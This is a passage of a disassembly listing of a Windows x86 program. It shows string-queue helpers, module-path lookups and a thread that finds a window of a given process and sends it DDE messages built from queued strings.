		cmp	[ebp+var_4], 0
		jz	short loc_4B34FA
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0


loc_4B34FA:				; CODE XREF: sub_4B3329+1C7j
		jmp	short loc_4B3516
; ---------------------------------------------------------------------------


loc_4B34FC:				; CODE XREF: sub_4B3329+157j
		push	offset word_4F4124 ; Source
		mov	ecx, [ebp+var_318]
		add	ecx, 43Ch
		push	ecx		; Dest
		call	_wcscpy
		add	esp, 8


loc_4B3516:				; CODE XREF: sub_4B3329:loc_4B34FAj
		jmp	loc_4B36B2
; ---------------------------------------------------------------------------


loc_4B351B:				; CODE XREF: sub_4B3329+6Ej
		mov	dl, byte_4F4120
		mov	[ebp+Str], dl
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp+var_313]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+Str]
		push	eax
		push	0
		call	dword_4ED1C4	; GetModuleFileNameA
		push	5Ch		; Ch
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	_strrchr_0
		add	esp, 8
		mov	[ebp+var_210], eax
		cmp	[ebp+var_210], 0
		jz	short loc_4B357E
		mov	edx, [ebp+var_210]
		add	edx, 1
		mov	[ebp+Source], edx
		jmp	short loc_4B358A
; ---------------------------------------------------------------------------


loc_4B357E:				; CODE XREF: sub_4B3329+242j
		lea	eax, [ebp+Str]
		mov	[ebp+Source], eax


loc_4B358A:				; CODE XREF: sub_4B3329+253j
		mov	ecx, [ebp+Source]
		push	ecx		; Source
		mov	edx, [ebp+var_318]
		add	edx, 2Ch
		push	edx		; Dest
		call	_strcpy_0
		add	esp, 8
		push	2Eh		; Val
		mov	eax, [ebp+var_318]
		add	eax, 2Ch
		push	eax		; Str
		call	_strchr_0
		add	esp, 8
		mov	[ebp+var_210], eax
		cmp	[ebp+var_210], 0
		jz	short loc_4B35CF
		mov	ecx, [ebp+var_210]
		mov	byte ptr [ecx],	0


loc_4B35CF:				; CODE XREF: sub_4B3329+29Bj
		push	104h
		mov	edx, [ebp+var_318]
		add	edx, 130h
		push	edx
		push	0
		call	dword_4ED1C4	; GetModuleFileNameA
		push	104h
		lea	eax, [ebp+Str]
		push	eax
		mov	ecx, [ebp+var_318]
		add	ecx, 130h
		push	ecx
		call	dword_4ED1CC	; GetShortPathNameA
		test	eax, eax
		jz	loc_4B3699
		push	5Ch		; Ch
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	_strrchr_0
		add	esp, 8
		mov	[ebp+var_210], eax
		cmp	[ebp+var_210], 0
		jz	short loc_4B3641
		mov	eax, [ebp+var_210]
		add	eax, 1
		mov	[ebp+var_328], eax
		jmp	short loc_4B364D
; ---------------------------------------------------------------------------


loc_4B3641:				; CODE XREF: sub_4B3329+305j
		lea	ecx, [ebp+Str]
		mov	[ebp+var_328], ecx


loc_4B364D:				; CODE XREF: sub_4B3329+316j
		mov	edx, [ebp+var_328]
		push	edx		; Source
		mov	eax, [ebp+var_318]
		add	eax, 130h
		push	eax		; Dest
		call	_strcpy_0
		add	esp, 8
		push	2Eh		; Val
		mov	ecx, [ebp+var_318]
		add	ecx, 130h
		push	ecx		; Str
		call	_strchr_0
		add	esp, 8
		mov	[ebp+var_210], eax
		cmp	[ebp+var_210], 0
		jz	short loc_4B3697
		mov	edx, [ebp+var_210]
		mov	byte ptr [edx],	0


loc_4B3697:				; CODE XREF: sub_4B3329+363j
		jmp	short loc_4B36B2
; ---------------------------------------------------------------------------


loc_4B3699:				; CODE XREF: sub_4B3329+2E1j
		push	offset byte_4F4120 ; Source
		mov	eax, [ebp+var_318]
		add	eax, 130h
		push	eax		; Dest
		call	_strcpy_0
		add	esp, 8


loc_4B36B2:				; CODE XREF: sub_4B3329:loc_4B3516j
					; sub_4B3329:loc_4B3697j
		mov	eax, [ebp+var_318]
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_4B3329	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B36BD	proc near		; CODE XREF: sub_4B3329+62p
					; sub_4B3AFF+116p ...

var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		xor	eax, eax
		mov	al, byte_4F411D
		test	eax, eax
		jnz	short loc_4B3701
		mov	[ebp+var_94], 94h
		lea	ecx, [ebp+var_94]
		push	ecx
		call	dword_4ED1B0	; GetVersionExA
		xor	edx, edx
		cmp	[ebp+var_84], 2
		setz	dl
		mov	byte_4F411C, dl
		mov	byte_4F411D, 1


loc_4B3701:				; CODE XREF: sub_4B36BD+12j
		mov	al, byte_4F411C
		mov	esp, ebp
		pop	ebp
		retn
sub_4B36BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4B370A(char	*Str)

sub_4B370A	proc near		; CODE XREF: sub_4B40C4+328p
					; sub_4B40C4+425p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, 10h
		push	eax
		call	dword_4ED1A8	; RtlEnterCriticalSection
		push	0Ch
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4B3784
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_strlen_0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+Str]
		push	edx		; Source
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	ecx		; Dest
		call	_strcpy_0
		add	esp, 8
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		jmp	short loc_4B378B
; ---------------------------------------------------------------------------


loc_4B3784:				; CODE XREF: sub_4B370A+27j
		mov	[ebp+var_14], 0


loc_4B378B:				; CODE XREF: sub_4B370A+78j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_4B37AE
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		mov	[edx+8], eax
		jmp	short loc_4B37C9
; ---------------------------------------------------------------------------


loc_4B37AE:				; CODE XREF: sub_4B370A+8Ej
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_4]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_10]
		mov	ecx, [edx+8]
		mov	[eax+0Ch], ecx


loc_4B37C9:				; CODE XREF: sub_4B370A+A2j
		mov	edx, [ebp+var_10]
		add	edx, 10h
		push	edx
		call	dword_4ED1AC	; RtlLeaveCriticalSection
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4B370A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4B37DC(char	*Dest,size_t Count)

sub_4B37DC	proc near		; CODE XREF: sub_4B3AFF+269p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
Dest		= dword	ptr  8
Count		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_1C]
		add	eax, 10h
		push	eax
		call	dword_4ED1A8	; RtlEnterCriticalSection
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [ecx+8], 0
		jz	loc_4B38BD
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_4B382B
		mov	edx, [ebp+var_1C]
		mov	dword ptr [edx+0Ch], 0


loc_4B382B:				; CODE XREF: sub_4B37DC+43j
		cmp	[ebp+Dest], 0
		jz	short loc_4B3857
		cmp	[ebp+Count], 0
		jle	short loc_4B3857
		mov	eax, [ebp+Count]
		push	eax		; Count
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx		; Source
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncpy_0
		add	esp, 0Ch
		mov	ecx, [ebp+Dest]
		add	ecx, [ebp+Count]
		mov	byte ptr [ecx-1], 0


loc_4B3857:				; CODE XREF: sub_4B37DC+53j
					; sub_4B37DC+59j
		mov	edx, [ebp+var_8]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4B38B2
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	ecx, 1
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4B38AA
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_4C85D6
		add	esp, 4


loc_4B38AA:				; CODE XREF: sub_4B37DC+C0j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_4B38B9
; ---------------------------------------------------------------------------


loc_4B38B2:				; CODE XREF: sub_4B37DC+8Bj
		mov	[ebp+var_20], 0


loc_4B38B9:				; CODE XREF: sub_4B37DC+D4j
		mov	[ebp+var_4], 1


loc_4B38BD:				; CODE XREF: sub_4B37DC+21j
		mov	ecx, [ebp+var_1C]
		add	ecx, 10h
		push	ecx
		call	dword_4ED1AC	; RtlLeaveCriticalSection
		mov	al, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4B37DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4B38D3(wchar_t *Str)

sub_4B38D3	proc near		; CODE XREF: sub_4B40C4+2FBp
					; sub_4B40C4+3F2p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, 10h
		push	eax
		call	dword_4ED1A8	; RtlEnterCriticalSection
		push	0Ch
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4B394F
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_wcslen_0
		add	esp, 4
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	[ecx+4], edx
		mov	eax, [ebp+Str]
		push	eax		; Source
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx		; Dest
		call	_wcscpy
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_14], ecx
		jmp	short loc_4B3956
; ---------------------------------------------------------------------------


loc_4B394F:				; CODE XREF: sub_4B38D3+27j
		mov	[ebp+var_14], 0


loc_4B3956:				; CODE XREF: sub_4B38D3+7Aj
		mov	edx, [ebp+var_14]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4B3979
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		jmp	short loc_4B3994
; ---------------------------------------------------------------------------


loc_4B3979:				; CODE XREF: sub_4B38D3+90j
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+8]
		mov	[ecx+0Ch], edx


loc_4B3994:				; CODE XREF: sub_4B38D3+A4j
		mov	eax, [ebp+var_10]
		add	eax, 10h
		push	eax
		call	dword_4ED1AC	; RtlLeaveCriticalSection
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4B38D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4B39A7(wchar_t *Dest,size_t	Count)

sub_4B39A7	proc near		; CODE XREF: sub_4B3AFF+136p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
Dest		= dword	ptr  8
Count		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_1C]
		add	eax, 10h
		push	eax
		call	dword_4ED1A8	; RtlEnterCriticalSection
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [ecx+8], 0
		jz	loc_4B3A8C
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_4B39F6
		mov	edx, [ebp+var_1C]
		mov	dword ptr [edx+0Ch], 0


loc_4B39F6:				; CODE XREF: sub_4B39A7+43j
		cmp	[ebp+Dest], 0
		jz	short loc_4B3A26
		cmp	[ebp+Count], 0
		jle	short loc_4B3A26
		mov	eax, [ebp+Count]
		push	eax		; Count
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx		; Source
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcsncpy
		add	esp, 0Ch
		mov	ecx, [ebp+Count]
		mov	edx, [ebp+Dest]
		mov	word ptr [edx+ecx*2-2],	0


loc_4B3A26:				; CODE XREF: sub_4B39A7+53j
					; sub_4B39A7+59j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4B3A81
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	edx, 1
		and	edx, 1
		test	edx, edx
		jz	short loc_4B3A79
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_4C85D6
		add	esp, 4


loc_4B3A79:				; CODE XREF: sub_4B39A7+C4j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_20], ecx
		jmp	short loc_4B3A88
; ---------------------------------------------------------------------------


loc_4B3A81:				; CODE XREF: sub_4B39A7+8Fj
		mov	[ebp+var_20], 0


loc_4B3A88:				; CODE XREF: sub_4B39A7+D8j
		mov	[ebp+var_4], 1


loc_4B3A8C:				; CODE XREF: sub_4B39A7+21j
		mov	edx, [ebp+var_1C]
		add	edx, 10h
		push	edx
		call	dword_4ED1AC	; RtlLeaveCriticalSection
		mov	al, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4B39A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3AA2	proc near		; CODE XREF: .text:004B5DB4p
					; .text:004B989Dp

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	offset sub_4B3AFF
		push	0
		push	0
		call	dword_4ED02C	; CreateThread
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword_4ED0E8	; CloseHandle
		cmp	[ebp+var_8], 0
		jz	short loc_4B3AF9


loc_4B3AD2:				; CODE XREF: sub_4B3AA2+49j
		mov	edx, dword_4F3AD8
		push	edx
		call	dword_4ED27C	; IsWindow
		test	eax, eax
		jnz	short loc_4B3AED
		push	1
		call	dword_4ED1A4	; Sleep
		jmp	short loc_4B3AD2
; ---------------------------------------------------------------------------


loc_4B3AED:				; CODE XREF: sub_4B3AA2+3Fj
		push	64h
		call	dword_4ED1A4	; Sleep
		mov	al, 1
		jmp	short loc_4B3AFB
; ---------------------------------------------------------------------------


loc_4B3AF9:				; CODE XREF: sub_4B3AA2+2Ej
		xor	al, al


loc_4B3AFB:				; CODE XREF: sub_4B3AA2+55j
		mov	esp, ebp
		pop	ebp
		retn
sub_4B3AA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3AFF	proc near		; DATA XREF: sub_4B3AA2+Eo

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
Dest		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Dst		= dword	ptr -28h
Str		= dword	ptr -24h
var_20		= byte ptr -20h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		call	sub_4B3F59
		mov	dword_4F3AD8, eax
		call	dword_4ED03C	; GetTickCount
		mov	[ebp+var_4], eax


loc_4B3B18:				; CODE XREF: sub_4B3AFF:loc_4B3E23j
		mov	eax, 1
		test	eax, eax
		jz	loc_4B3E28
		push	1
		push	0
		push	0
		mov	ecx, dword_4F3AD8
		push	ecx
		lea	edx, [ebp+var_20]
		push	edx
		call	dword_4ED280	; PeekMessageA
		test	eax, eax
		jz	short loc_4B3B59
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4ED260	; TranslateMessage
		lea	ecx, [ebp+var_20]
		push	ecx
		call	dword_4ED264	; DispatchMessageA
		jmp	loc_4B3E23
; ---------------------------------------------------------------------------


loc_4B3B59:				; CODE XREF: sub_4B3AFF+3Fj
		xor	edx, edx
		cmp	dword_4F3AE0, 0
		setnz	dl
		and	edx, 0FFh
		test	edx, edx
		jz	loc_4B3E1B
		call	dword_4ED03C	; GetTickCount
		mov	ecx, [ebp+var_4]
		add	ecx, 1F4h
		cmp	eax, ecx
		jbe	loc_4B3E1B
		call	dword_4ED03C	; GetTickCount
		mov	[ebp+var_4], eax
		cmp	dword_4F3ADC, 0
		jnz	short loc_4B3BAE
		push	0
		push	offset sub_4B3E69
		call	dword_4ED268	; EnumWindows
		jmp	loc_4B3E19
; ---------------------------------------------------------------------------


loc_4B3BAE:				; CODE XREF: sub_4B3AFF+9Bj
		mov	edx, dword_4F3ADC
		push	edx
		call	dword_4ED27C	; IsWindow
		test	eax, eax
		jz	loc_4B3E0F
		push	20000h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_44]
		mov	[ebp+Dst], eax
		push	20000h		; Size
		push	0		; Val
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memset_0
		add	esp, 0Ch
		push	10000h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_48], eax
		mov	edx, [ebp+var_48]
		mov	[ebp+Str], edx
		push	10000h		; Size
		push	0		; Val
		mov	eax, [ebp+Str]
		push	eax		; Dst
		call	_memset_0
		add	esp, 0Ch
		call	sub_4B36BD
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4B3D5A


loc_4B3C27:				; CODE XREF: sub_4B3AFF:loc_4B3D50j
		push	10000h		; Count
		mov	ecx, [ebp+Dst]
		push	ecx		; Dest
		mov	ecx, offset dword_4F3AD8
		call	sub_4B39A7
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4B3D55
		mov	edx, dword_4F3ADC
		push	edx
		call	dword_4ED26C	; IsWindowUnicode
		test	eax, eax
		jz	short loc_4B3CCD
		mov	eax, [ebp+Dst]
		push	eax		; Str
		call	_wcslen_0
		add	esp, 4
		lea	ecx, [eax+eax+1]
		push	ecx
		push	2002h
		call	dword_4ED038	; GlobalAlloc
		mov	[ebp+var_30], eax
		mov	edx, [ebp+var_30]
		push	edx
		call	dword_4ED034	; GlobalLock
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+Dst]
		push	eax		; Source
		mov	ecx, [ebp+var_2C]
		push	ecx		; Dest
		call	_wcscpy
		add	esp, 8
		mov	edx, [ebp+var_30]
		push	edx
		call	dword_4ED030	; GlobalUnlock
		mov	eax, [ebp+var_30]
		push	eax
		push	0
		push	3E8h
		call	sub_4C85C4	; PackDDElParam
		push	eax
		mov	ecx, dword_4F3AD8
		push	ecx
		push	3E8h
		mov	edx, dword_4F3ADC
		push	edx
		call	dword_4ED274	; PostMessageW
		jmp	loc_4B3D50
; ---------------------------------------------------------------------------


loc_4B3CCD:				; CODE XREF: sub_4B3AFF+157j
		push	10000h
		mov	eax, [ebp+Str]
		push	eax
		mov	ecx, [ebp+Dst]
		push	ecx
		call	sub_4B3E30
		add	esp, 0Ch
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_strlen_0
		add	esp, 4
		add	eax, 1
		push	eax
		push	2002h
		call	dword_4ED038	; GlobalAlloc
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_38]
		push	eax
		call	dword_4ED034	; GlobalLock
		mov	[ebp+Dest], eax
		mov	ecx, [ebp+Str]
		push	ecx		; Source
		mov	edx, [ebp+Dest]
		push	edx		; Dest
		call	_strcpy_0
		add	esp, 8
		mov	eax, [ebp+var_38]
		push	eax
		call	dword_4ED030	; GlobalUnlock
		mov	ecx, [ebp+var_38]
		push	ecx
		push	0
		push	3E8h
		call	sub_4C85C4	; PackDDElParam
		push	eax
		mov	edx, dword_4F3AD8
		push	edx
		push	3E8h
		mov	eax, dword_4F3ADC
		push	eax
		call	dword_4ED278	; PostMessageA


loc_4B3D50:				; CODE XREF: sub_4B3AFF+1C9j
		jmp	loc_4B3C27
; ---------------------------------------------------------------------------


loc_4B3D55:				; CODE XREF: sub_4B3AFF+142j
		jmp	loc_4B3DE9
; ---------------------------------------------------------------------------


loc_4B3D5A:				; CODE XREF: sub_4B3AFF+122j
					; sub_4B3AFF+2E5j
		push	10000h		; Count
		mov	ecx, [ebp+Str]
		push	ecx		; Dest
		mov	ecx, offset dword_4F3AD8
		call	sub_4B37DC
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B3DE9
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_strlen_0
		add	esp, 4
		add	eax, 1
		push	eax
		push	2002h
		call	dword_4ED038	; GlobalAlloc
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_40]
		push	eax
		call	dword_4ED034	; GlobalLock
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+Str]
		push	ecx		; Source
		mov	edx, [ebp+var_3C]
		push	edx		; Dest
		call	_strcpy_0
		add	esp, 8
		mov	eax, [ebp+var_40]
		push	eax
		call	dword_4ED030	; GlobalUnlock
		mov	ecx, [ebp+var_40]
		push	ecx
		push	0
		push	3E8h
		call	sub_4C85C4	; PackDDElParam
		push	eax
		mov	edx, dword_4F3AD8
		push	edx
		push	3E8h
		mov	eax, dword_4F3ADC
		push	eax
		call	dword_4ED278	; PostMessageA
		jmp	loc_4B3D5A
; ---------------------------------------------------------------------------


loc_4B3DE9:				; CODE XREF: sub_4B3AFF:loc_4B3D55j
					; sub_4B3AFF+275j
		mov	ecx, [ebp+Str]
		mov	[ebp+var_4C], ecx
		mov	edx, [ebp+var_4C]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		mov	eax, [ebp+Dst]
		mov	[ebp+var_50], eax
		mov	ecx, [ebp+var_50]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		jmp	short loc_4B3E19
; ---------------------------------------------------------------------------


loc_4B3E0F:				; CODE XREF: sub_4B3AFF+BEj
		mov	dword_4F3ADC, 0


loc_4B3E19:				; CODE XREF: sub_4B3AFF+AAj
					; sub_4B3AFF+30Ej
		jmp	short loc_4B3E23
; ---------------------------------------------------------------------------


loc_4B3E1B:				; CODE XREF: sub_4B3AFF+6Ej
					; sub_4B3AFF+85j
		push	1
		call	dword_4ED1A4	; Sleep


loc_4B3E23:				; CODE XREF: sub_4B3AFF+55j
					; sub_4B3AFF:loc_4B3E19j
		jmp	loc_4B3B18
; ---------------------------------------------------------------------------


loc_4B3E28:				; CODE XREF: sub_4B3AFF+20j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4B3AFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3E30	proc near		; CODE XREF: sub_4B3AFF+1DBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4ED044	; IsBadReadPtr
		test	eax, eax
		jz	short loc_4B3E48
		mov	eax, [ebp+arg_0]
		jmp	short loc_4B3E67
; ---------------------------------------------------------------------------


loc_4B3E48:				; CODE XREF: sub_4B3E30+11j
		push	0
		push	0
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		push	0
		call	dword_4ED040	; WideCharToMultiByte
		mov	eax, [ebp+arg_4]


loc_4B3E67:				; CODE XREF: sub_4B3E30+16j
		pop	ebp
		retn
sub_4B3E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3E69	proc near		; DATA XREF: sub_4B3AFF+9Fo

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4ED254	; GetWindowThreadProcessId
		mov	edx, [ebp+var_4]
		cmp	edx, dword_4F3B00
		jnz	loc_4B3F41
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3AD8
		jz	loc_4B3F41
		call	sub_4B36BD
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B3EF6
		push	offset aPacked	; "packed"
		call	dword_4ED04C	; GlobalAddAtomW
		mov	word ptr [ebp+var_8], ax
		push	offset aSystem	; "System"
		call	dword_4ED04C	; GlobalAddAtomW
		mov	word ptr [ebp+var_C], ax
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_C]
		and	edx, 0FFFFh
		shl	edx, 10h
		or	ecx, edx
		push	ecx
		mov	eax, dword_4F3AD8
		push	eax
		push	3E0h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4ED258	; SendMessageW
		jmp	short loc_4B3F41
; ---------------------------------------------------------------------------


loc_4B3EF6:				; CODE XREF: sub_4B3E69+3Ej
		push	offset dword_4F3B04
		call	dword_4ED048	; GlobalAddAtomA
		mov	word ptr [ebp+var_10], ax
		push	offset aSystem_0 ; "System"
		call	dword_4ED048	; GlobalAddAtomA
		mov	word ptr [ebp+var_14], ax
		mov	edx, [ebp+var_10]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_14]
		and	eax, 0FFFFh
		shl	eax, 10h
		or	edx, eax
		push	edx
		mov	ecx, dword_4F3AD8
		push	ecx
		push	3E0h
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4ED25C	; SendMessageA


loc_4B3F41:				; CODE XREF: sub_4B3E69+1Dj
					; sub_4B3E69+2Cj ...
		cmp	dword_4F3ADC, 0
		jz	short loc_4B3F4E
		xor	eax, eax
		jmp	short loc_4B3F53
; ---------------------------------------------------------------------------


loc_4B3F4E:				; CODE XREF: sub_4B3E69+DFj
		mov	eax, 1


loc_4B3F53:				; CODE XREF: sub_4B3E69+E3j
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4B3E69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B3F59	proc near		; CODE XREF: sub_4B3AFF+6p

var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
